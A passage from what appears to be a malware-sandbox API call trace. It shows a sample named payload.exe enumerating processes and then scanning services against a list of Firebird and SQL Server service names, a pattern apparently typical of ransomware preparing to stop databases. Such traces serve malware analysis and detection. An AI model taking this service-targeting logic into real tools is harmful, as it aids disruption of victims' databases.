th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0054.712] lstrlenW (lpString="taskhostw.exe") returned 13 [0054.712] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0055.077] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0055.077] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0055.077] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0055.077] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0055.100] lstrlenW (lpString="explorer.exe") returned 12 [0055.100] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0055.101] lstrlenW (lpString="Memory Compression") returned 18 [0055.101] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0055.102] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0055.102] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0055.102] lstrlenW (lpString="SearchUI.exe") returned 12 [0055.102] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0055.103] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0055.103] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0055.104] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0055.104] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0055.105] lstrlenW (lpString="taskhostw.exe") returned 13 [0055.105] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0055.105] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0055.105] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0055.106] lstrlenW (lpString="msoia.exe") returned 9 [0055.106] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0055.142] lstrlenW (lpString="UsoClient.exe") returned 13 [0055.142] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0055.143] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0055.143] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0055.144] lstrlenW (lpString="msoia.exe") returned 9 [0055.144] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0055.144] lstrlenW (lpString="taskhostw.exe") returned 13 [0055.144] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0055.145] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0055.145] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0055.146] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0055.146] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0055.147] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0055.147] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0055.147] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0055.147] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0055.166] lstrlenW (lpString="arcobviously.exe") returned 16 [0055.166] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0055.167] lstrlenW (lpString="preston disciplines.exe") returned 23 [0055.167] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0055.168] lstrlenW (lpString="boss.exe") returned 8 [0055.168] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0055.177] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0055.177] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0055.178] lstrlenW (lpString="placing.exe") returned 11 [0055.178] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0055.178] lstrlenW (lpString="heroes.exe") returned 10 [0055.178] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0055.179] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0055.179] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0055.180] lstrlenW (lpString="requirement moments.exe") returned 23 [0055.180] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0055.181] lstrlenW (lpString="sugar.exe") returned 9 [0055.181] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0055.181] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0055.181] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0055.182] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0055.182] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0055.183] lstrlenW (lpString="genealogy.exe") returned 13 [0055.183] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0055.184] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0055.184] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0055.185] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0055.185] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0055.185] lstrlenW (lpString="expenditure.exe") returned 15 [0055.185] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0055.194] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0055.194] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0055.195] lstrlenW (lpString="upgrading.exe") returned 13 [0055.254] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0055.255] lstrlenW (lpString="conservative.exe") returned 16 [0055.255] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0055.256] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0055.256] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0055.257] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0055.257] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0055.258] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0055.258] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0055.259] lstrlenW (lpString="gods violations duke.exe") returned 24 [0055.259] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0055.259] lstrlenW (lpString="dllhost.exe") returned 11 [0055.259] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.548] lstrlenW (lpString="conhost.exe") returned 11 [0055.548] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.549] lstrlenW (lpString="conhost.exe") returned 11 [0055.549] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0055.550] lstrlenW (lpString="payload.exe") returned 11 [0055.550] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0055.551] lstrlenW (lpString="cmd.exe") returned 7 [0055.551] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.551] lstrlenW (lpString="conhost.exe") returned 11 [0055.551] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0055.552] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0055.552] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.553] lstrlenW (lpString="conhost.exe") returned 11 [0055.553] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.556] lstrlenW (lpString="svchost.exe") returned 11 [0055.556] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0055.557] lstrlenW (lpString="mode.com") returned 8 [0055.557] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0055.558] CloseHandle (hObject=0x328) returned 1 [0055.558] Sleep (dwMilliseconds=0x1f4) [0056.177] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ced90 [0056.178] EnumServicesStatusExW (in: hSCManager=0x6ced90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0056.178] GetLastError () returned 0xea [0056.178] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1ce8) returned 0x6f6108 [0056.178] EnumServicesStatusExW (in: hSCManager=0x6ced90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6f6108, cbBufSize=0x1ce8, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6f6108, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0056.179] CloseServiceHandle (hSCObject=0x6ced90) returned 1 [0056.179] lstrlenW (lpString="Appinfo") returned 7 [0056.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0056.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0056.179] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0056.179] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0056.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0056.179] lstrlenW (lpString="AppXSvc") returned 7 [0056.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0056.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0056.179] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0056.179] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0056.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0056.179] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0056.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.179] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0056.179] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0056.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0056.180] lstrlenW (lpString="Audiosrv") returned 8 [0056.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0056.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0056.180] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0056.180] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0056.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0056.180] lstrlenW (lpString="BFE") returned 3 [0056.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0056.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0056.180] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0056.180] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0056.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0056.180] lstrlenW (lpString="BITS") returned 4 [0056.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0056.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0056.180] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0056.180] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0056.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0056.180] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0056.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0056.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0056.180] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0056.180] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0056.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0056.180] lstrlenW (lpString="CDPSvc") returned 6 [0056.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0056.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0056.180] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0056.180] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0056.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0056.180] lstrlenW (lpString="ClickToRunSvc") returned 13 [0056.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0056.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0056.180] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0056.181] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0056.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0056.181] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0056.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0056.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0056.181] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0056.181] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0056.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0056.181] lstrlenW (lpString="CryptSvc") returned 8 [0056.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0056.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0056.181] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0056.181] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0056.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0056.181] lstrlenW (lpString="DcomLaunch") returned 10 [0056.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.181] lstrcmpiW (lpString1="sqlwriter", 